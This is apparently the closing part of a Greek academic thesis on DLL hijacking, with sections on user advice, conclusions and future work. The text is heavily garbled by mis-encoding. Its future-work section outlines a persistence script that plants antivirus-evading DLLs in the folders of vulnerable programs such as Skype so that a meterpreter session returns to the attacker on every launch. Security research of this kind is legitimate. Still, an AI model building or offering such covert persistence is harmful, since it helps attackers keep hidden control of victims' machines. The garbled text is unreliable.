KOTOXWPNHUEVO OTO MPOYPOUKA. Oa UTTOPOUCAE VA TO TIPOXWPHOOULE KoL €va Bripa mapa
népa mpocBétovrag public kal private keys oTo mpoypappa yLo va KpUIToypadGOUE TO
checksum £€w armoé to mpAypOULA KOL VO TO AIOKPUTITOYPAPOUE ECWTEPLKA.

9.2 Xproteg

‘Otav ektedoUv apxela eykatdotaong KaAO ival va punv Bpiokovtal otov (Sto ¢pakeio dll
apxela. To mo mBavo eival OAa ta anapaitnta dil va Bpiokovtal otov pakeho Tou
TIPOYPAULOTOG OTIOU YIVETOL N EYKATACTACN KoL OXL TIPLV.

MoAU PoCo)I) OTA CUMTILECUEVA apXEla TTOU TtepLEXOLV TL.Y. dwToypadieg kat éva dll
apxelo.
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10 Entihoyoc

Ownpootaoieg ota Windows augavovtal oL TpoypaUUaTIOTEG Ba apxicouv va mpocExouy
TIEPLOOOTEPO OTA EKTEAECLUA KATIOLO OTLYUN omote to Privilege Escalation and dll hijacking
otoug installers €xeL éva TEApA OTO EMOUEVA XPOVLA.

MeAAovtikny Aouleld

AuTo mnou €xet ouoia oto dll hijacking kat Ba cuveyiosl va £xelL Ta eMOUevVa XpovLa. €ival oTo
persistence.

To dll hijacking umopetl va xpnotpomnolnBei yla va mapapeivel kamoto malware og éva
cUOTNUA XWPIC Vo EVIOTILOTEL yLa apKETO KALPO.

Apa ta dedopéva pog sivat:
- 'Exoupe npoypappata pe dll hijacking oto Program Files
Xpelalopaote:

- Mn aviyvevolpa dil and ta antivirus
- Aiota mpoypappdatwy vulnerable oe dll hijacking

‘Exovtog umoLv pag AOLTIOV TO TPtV Kal Twg oL persistence tpomot tou Metasploit
«€xouv mebave (evtomilovral amnod ta antivirus) , Oa pmopouoe Kamolog va GTIAEEL Eva
script yla persistence yla to meterpreter.

Mua B€a gival éva script ou Ba £xeL KataxwpnUEVEG TIC aduvapieg Snpodplwy
TIPOYPOUUATWY OTWG avadEpovtat oTo KedAAalo 6.3. MO0 CUYKEKPLUEVAL:

1) To mpoypappa eVIONI(EL 0TO CUCTNA OV UTIAPXOUV OL CUYKEKPLUEVOL hAaKEAOL
2) Anuwoupyet ta pun aviyvevouo dll

3) TomoBetel otov avtiotolyo pakeAo Tou mpoypdappatog to aviiotowo dll

4) Ornote ekteleital To Mpoypappa emiotpEdel meterpreter otov emitiBépevo.

(Mpoypappata 6mwe To Skype f to Viber moAAEC popEc €xouv evepyomolnpévn T
emhoyn ekkivnon oto Startup)

*MBavr) aAAayn Tou Manifest apyeiou Tou mpoypAapuuaTOoC.
To ueyalo lNAsovéktnua

To peyalo mAeovéktnua oto persistence pe dll apyeia eivat mwg Svokoha yivovtal
aviyveuoua. Apya n ypryopa ot peBodoloyleg TTOU XpNOLUOTOLOUV TIPOYPAUUATA OTIWE TO
Empire rj To Metasploit yivovtal avtiAnmta and ta antivirus, evw ta dil aua yivouv pn
aviyvevuaotpa o cuvduaopo pe to dil hijacking pmopet va emitpédouy TN mapapovn
malware yla xpovia o€ €va cUCTN .
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